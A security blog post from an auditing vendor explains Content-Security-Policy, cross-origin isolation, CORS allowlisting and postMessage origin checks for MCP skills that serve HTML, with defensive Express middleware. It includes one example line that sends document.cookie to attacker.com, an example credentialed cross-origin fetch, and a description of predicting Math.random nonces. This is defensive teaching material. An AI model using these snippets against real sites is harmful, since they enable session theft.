← Blog

Claude Skill Content Security: CSP, Cross-Origin Isolation, and the Browser Security Model in MCP

Most Claude skill developers think of their code as an API or a CLI tool. The MCP protocol feels like HTTP but without a browser: you send a tool call, you get a result. Browser security — Content-Security-Policy, cross-origin headers, postMessage validation, Spectre mitigations — seems irrelevant. That mental model breaks the moment your skill returns HTML. And a surprising number of real-world MCP skills do return HTML: OAuth callback pages, rich tool result cards, status dashboards, error pages with user-controlled content. Every one of those endpoints exists inside the browser security model the instant a user or the Claude UI opens it in a browser tab. CSP is not an optional enhancement for those endpoints. It is the difference between XSS that executes and XSS that is blocked.

By SkillAudit  |  3 Nov 2026  |  SA-SKL-CSP  |  2000+ words

Which MCP skills are in scope for browser security

Let’s be precise about which skill endpoints fall inside the browser security model. An MCP skill that only returns JSON tool results — no HTML, no JavaScript, no HTTP endpoints that a browser visits — is largely outside the scope of CSP. JSON returned in a tool result is not parsed by a browser as a document. The attack surface is different (prompt injection, credential exposure, SSRF) but CSP is not the relevant control.

Browser security becomes relevant for any of the following:

If your skill has any of these, CSP is mandatory. Not as a security enhancement — as the difference between your skill having an XSS vulnerability that can be exploited and an XSS vulnerability that cannot be exploited.

The CSP-001 through CSP-004 progression: four ways to have no effective CSP

The SA-SKL-CSP-001 through CSP-004 patterns form a progression of diminishing protection: each pattern has a CSP header that provides less actual security than the previous one.

CRITICAL CSP-001: no Content-Security-Policy header. The baseline failure. An Express route that calls res.send() or res.render() without setting the Content-Security-Policy response header gives the browser no instructions about what is and isn’t allowed. The browser applies no restrictions. Inline scripts execute. Scripts load from any origin. Fetch calls reach any domain. If any part of the HTML contains attacker-controlled content — a reflected query parameter, a stored value from an upstream API, a file preview — the attacker can inject a script tag and it will execute.

HIGH CSP-002: unsafe-inline in script-src. The skill developer added a CSP header, but included 'unsafe-inline' to avoid refactoring their inline scripts. The result is a policy that passes a security review checklist while providing zero runtime protection. 'unsafe-inline' tells the browser to execute every inline script and event handler on the page, which is exactly where XSS payloads live. A policy that contains 'unsafe-inline' is functionally equivalent to no policy for the purpose of XSS prevention.

HIGH CSP-003: predictable nonce from Math.random(). The skill developer moved to nonce-based CSP, which is the right direction — but generated the nonce with Math.random() rather than crypto.randomBytes(). V8’s implementation of Math.random() uses the xorshift128+ algorithm. Its 128-bit internal state is fully recoverable from three consecutive observed outputs. An attacker who observes three nonces (by making three requests to any endpoint that returns a CSP-nonce-protected HTML response) can recover the PRNG state and predict all future nonces. They pre-embed a script tag with the predicted nonce, and the browser executes it.

HIGH CSP-004: connect-src * or absent connect-src. The skill developer implemented nonce-based CSP correctly but left connect-src unrestricted. connect-src controls which origins the page’s JavaScript can send fetch/XHR/WebSocket requests to. With connect-src *, an injected script that achieves execution — through any vector that bypasses the script execution restriction — can exfiltrate data to any attacker-controlled domain: fetch('https://attacker.com/steal?d=' + document.cookie). CSP’s multi-layer protection model requires that even if one layer fails, the next layer limits the damage. A missing or wildcard connect-src removes the exfiltration prevention layer.

The complete CSP header for an MCP skill HTML page: default-src 'none'; script-src 'nonce-{RANDOM}'; style-src 'nonce-{RANDOM}'; img-src 'self'; connect-src 'self'; frame-ancestors 'none'. Generate the nonce with crypto.randomBytes(16).toString('base64url') once per request in middleware. Add the nonce as an attribute to every <script> and <style> tag you control. This is the minimum viable CSP that actually protects against XSS.

Implementing nonce-based CSP middleware in Express

The correct implementation generates a fresh nonce per request, sets it in the Content-Security-Policy header, and makes it available to all templates via res.locals:

import express from 'express';
import crypto from 'crypto';

const app = express();

// Nonce middleware — runs before all routes
app.use((req, res, next) => {
  // Fresh cryptographically secure nonce per request
  const nonce = crypto.randomBytes(16).toString('base64url');
  res.locals.cspNonce = nonce;

  res.setHeader('Content-Security-Policy', [
    "default-src 'none'",
    `script-src 'nonce-${nonce}'`,
    `style-src 'nonce-${nonce}'`,
    "img-src 'self'",
    "connect-src 'self'",
    "frame-ancestors 'none'",
    "base-uri 'none'",
    "form-action 'self'",
  ].join('; '));

  // Companion security headers
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

  next();
});

// Any route that returns HTML uses res.locals.cspNonce
app.get('/oauth/callback', (req, res) => {
  const nonce = res.locals.cspNonce;
  res.send(`
    <!doctype html><html><head>
      <style nonce="${nonce}">body { font-family: sans-serif; }</style>
    </head>
    <body>
      <p>Authorisation complete.</p>
      <script nonce="${nonce}">
        window.location.href = '/dashboard';
      </script>
    </body></html>
  `);
  // Only the nonce-tagged script executes; injected scripts have no nonce → blocked
});

The key invariants: the nonce is generated with crypto.randomBytes, not Math.random; it is generated fresh for each request, not cached; it is set in the CSP header before the route handler runs; and it is used as an attribute on every legitimate script and style element in the response.

Cross-origin isolation: the Spectre attack family (CSP-005 through CSP-008)

The SA-SKL-CSP-005 through CSP-008 patterns cover a distinct threat model from the XSS-prevention CSP patterns above. These vulnerabilities relate to cross-origin isolation — a set of browser security features introduced specifically to mitigate Spectre-class hardware timing side-channel attacks that became practical exploits after 2018.

HIGH CSP-005: missing Cross-Origin-Opener-Policy (COOP) and Cross-Origin-Embedder-Policy (COEP) headers. Spectre-class attacks work by measuring the time it takes to access memory. SharedArrayBuffer enables high-resolution timers by allowing JavaScript to observe memory access patterns across threads. Browsers disabled SharedArrayBuffer globally after Spectre was disclosed, then re-enabled it only for pages that opt into cross-origin isolation by setting both COOP and COEP. A skill page that serves content used in a SharedArrayBuffer-enabled context — or that is co-located with a browser feature that uses it — without COOP and COEP allows cross-origin script access to read process memory via timing side-channels. The fix is one header pair: Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp.

HIGH CSP-006: CORS wildcard on a skill endpoint that also serves private API data. A skill endpoint that sets Access-Control-Allow-Origin: * allows any browser page to make a cross-origin request and read the response. For public, read-only data this is often intentional. The vulnerability occurs when the same endpoint uses cookies or HTTP authentication for private data, combined with Access-Control-Allow-Credentials: true. The specification prohibits Access-Control-Allow-Origin: * with credentials (browsers reject it), but many skill developers work around this by echoing the request’s Origin header into the Access-Control-Allow-Origin response header dynamically, which effectively allows any origin while still permitting credentials. An attacker’s page uses fetch('https://skill.example.com/api/private', { credentials: 'include' }) and reads the response.

CRITICAL CSP-007: postMessage without origin check. Skills that use window.postMessage to communicate with an embedding page or with a child iframe must validate the event.origin on every received message. A message event listener that processes messages from any sender — no if (event.origin !== 'https://expected-origin.com') return guard — allows any embedding page to send arbitrary commands to the skill’s message handler. If the skill’s message handler performs privileged operations (triggering data fetches, navigating, storing values) in response to messages, the attacker’s page injects arbitrary commands into those operations by messaging the skill from a transparent iframe.

HIGH CSP-008: Sec-Fetch-Site header not checked. The Sec-Fetch-* fetch metadata headers are set by the browser to describe the context of each request: Sec-Fetch-Site: cross-site indicates the request originated from a different origin, Sec-Fetch-Mode: navigate indicates a top-level navigation, Sec-Fetch-Dest: document indicates the response will be used as a document. A skill endpoint that mutates state (triggering actions, changing settings, accepting data) can use these headers to reject cross-site requests that should not be able to trigger state mutations. The Resource Isolation Policy middleware pattern checks that Sec-Fetch-Site is same-origin or none (direct navigation) for any state-mutating endpoint, blocking CSRF-style attacks from cross-origin pages even in the absence of a traditional CSRF token.

Implementing COEP and COOP for cross-origin isolation

import express from 'express';

const app = express();

// Cross-Origin Isolation headers — required for SharedArrayBuffer
// and as a Spectre mitigation for sensitive skill pages
app.use((req, res, next) => {
  // same-origin: prevents the skill page from being embedded in cross-origin frames
  // and isolates the browsing context from cross-origin popups
  res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');

  // require-corp: requires all subresources to explicitly opt in to cross-origin loading
  // via Cross-Origin-Resource-Policy header or CORS
  res.setHeader('Cross-Origin-Embedder-Policy', 'require-corp');

  // Also set CORP on the skill's own resources:
  res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');

  next();
});

// Resource Isolation Policy — Sec-Fetch-Site check for state-mutating endpoints
function requireSameOrigin(req: express.Request, res: express.Response, next: express.NextFunction) {
  const fetchSite = req.headers['sec-fetch-site'];
  const fetchMode = req.headers['sec-fetch-mode'];

  // Allow: same-origin requests, or direct navigation (no sec-fetch-site header)
  // Block: cross-site requests that attempt to trigger state mutations
  if (fetchSite && fetchSite !== 'same-origin' && fetchSite !== 'none') {
    return res.status(403).json({ error: 'Cross-site request blocked' });
  }
  next();
}

// Apply to all state-mutating routes
app.post('/skill/action', requireSameOrigin, handleAction);
app.delete('/skill/resource', requireSameOrigin, handleDelete);

// postMessage origin check pattern
// In client-side JavaScript served by the skill:
const TRUSTED_ORIGINS = new Set(['https://skillaudit.dev', 'https://claude.ai']);

window.addEventListener('message', (event) => {
  // ALWAYS validate origin before processing the message
  if (!TRUSTED_ORIGINS.has(event.origin)) {
    console.warn('Rejected message from untrusted origin:', event.origin);
    return;
  }
  // Only process messages from trusted origins
  handleSkillMessage(event.data);
});

CORS allowlist: the correct pattern for skill API endpoints

For skill endpoints that genuinely need to be accessible from browser pages at known partner origins, the correct CORS pattern uses a server-side allowlist, not a wildcard or request-origin echo:

import express from 'express';

const CORS_ALLOWED_ORIGINS = new Set([
  'https://claude.ai',
  'https://skillaudit.dev',
  // Add specific partner origins explicitly
]);

function corsMiddleware(req: express.Request, res: express.Response, next: express.NextFunction) {
  const origin = req.headers.origin;

  if (origin && CORS_ALLOWED_ORIGINS.has(origin)) {
    // Known allowed origin — set the specific origin (not *)
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');  // required: tells caches this varies by Origin
  }
  // No CORS headers for unknown origins — browser enforces same-origin policy

  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '86400');
    return res.status(204).end();
  }

  next();
}

app.use('/api/', corsMiddleware);
// Access-Control-Allow-Origin: * is never set — credentials + allowlisted origins only

Testing your Claude skill CSP and cross-origin isolation

Manual testing catches the obvious gaps. Start with curl to verify headers are present on your HTML responses:

# Check CSP and cross-origin isolation headers
curl -I https://your-skill.example.com/oauth/callback

# Expected output should include:
# Content-Security-Policy: default-src 'none'; script-src 'nonce-...'; ...
# Cross-Origin-Opener-Policy: same-origin
# Cross-Origin-Embedder-Policy: require-corp
# X-Frame-Options: DENY
# X-Content-Type-Options: nosniff

# Check CORS: should NOT return Access-Control-Allow-Origin: * on credentialed endpoints
curl -I -H "Origin: https://attacker.com" -H "Cookie: session=test" \
  https://your-skill.example.com/api/private

# Expected: no Access-Control-Allow-Origin header in response
# (unknown origin gets no CORS headers — browser enforces same-origin policy)

For CSP policy strength, the Google CSP Evaluator at csp-evaluator.withgoogle.com scores your policy and flags specific weaknesses including 'unsafe-inline', missing directives, and wildcard origins. Paste your Content-Security-Policy header value directly into the tool.

For cross-origin isolation, the browser’s developer tools report whether the page is cross-origin isolated. In Chrome DevTools, open the Application panel, navigate to your skill’s page, and check “Cross-Origin Isolated: true” in the Application → Frames section. A value of false means either COEP or COOP is missing or incorrectly configured.

The complete browser security header stack for MCP skills

CSP and cross-origin isolation are two layers of a complete browser security header stack. The full stack for an MCP skill’s HTML endpoints includes the eight SA-SKL-CSP patterns above plus four additional missing-header patterns covered in SA-SKL-SEC-001 through SEC-004: missing X-Frame-Options (clickjacking via iframe embedding), missing X-Content-Type-Options: nosniff (MIME type sniffing of plain-text responses interpreted as JavaScript), missing Referrer-Policy (URL-embedded session tokens leaked in Referer headers to third-party scripts), and missing Permissions-Policy (browser APIs left unrestricted for third-party scripts on the page).

All twelve headers can be set in a single middleware that runs before all routes. The cost is twelve lines of res.setHeader() calls; the benefit is eliminating the entire SA-SKL-CSP and SA-SKL-SEC attack surface simultaneously.

// Complete browser security header middleware for MCP skills
app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64url');
  res.locals.cspNonce = nonce;

  // Layer 1: Content-Security-Policy
  res.setHeader('Content-Security-Policy', [
    "default-src 'none'",
    `script-src 'nonce-${nonce}'`,
    `style-src 'nonce-${nonce}'`,
    "img-src 'self'",
    "connect-src 'self'",
    "frame-ancestors 'none'",
    "base-uri 'none'",
    "form-action 'self'",
  ].join('; '));

  // Layer 2: Cross-origin isolation (Spectre mitigations)
  res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
  res.setHeader('Cross-Origin-Embedder-Policy', 'require-corp');
  res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');

  // Layer 3: Missing security headers (SA-SKL-SEC)
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
  res.setHeader('Permissions-Policy', [
    'camera=()', 'microphone=()', 'geolocation=()', 'payment=()',
    'usb=()', 'bluetooth=()', 'fullscreen=(self)',
  ].join(', '));

  next();
});

Run this once, apply it everywhere: the middleware above runs for every request. For routes that need a relaxed policy (e.g. an OAuth callback page that loads a specific third-party analytics script), override the CSP header in the route handler, not by removing the middleware. The default posture should be maximally restrictive; specific routes can loosen individual directives as needed. Never go the other direction — permissive by default, hoping to restrict later.

Summary

The eight SA-SKL-CSP vulnerabilities form two clusters. The first four — missing CSP header, unsafe-inline, predictable nonce, missing connect-src restriction — are XSS enablers: they determine whether an attacker who injects a script into your HTML can execute it and exfiltrate data. The second four — missing COEP/COOP, CORS wildcard with credentials, unguarded postMessage, ignored Sec-Fetch-Site — are cross-origin isolation failures that enable Spectre-class timing attacks, cross-origin data reads via CORS, and command injection via the message channel.

For skill developers coming from an API or CLI background: yes, you need CSP if your skill serves HTML. Not because it’s a compliance checkbox, but because it is the browser’s enforcement mechanism for every output-encoding discipline you already implement. Output encoding prevents the script from being embedded in the first place. CSP prevents it from executing if it gets through. You need both.

SkillAudit detects all eight SA-SKL-CSP patterns through static analysis of Express middleware chains and response header construction. The audit output includes the specific headers missing from each HTML-returning route, the severity of each gap, and the exact middleware code required to close it. See the complete SA-SKL attack surface reference for all 15 MCP skill vulnerability families.

Check your Claude skill for CSP and cross-origin isolation gaps

SkillAudit scans for all eight SA-SKL-CSP patterns — missing headers, unsafe-inline, weak nonces, CORS wildcards, missing COEP/COOP, postMessage injection, and Sec-Fetch-Site bypass — in 60 seconds.

Get your free audit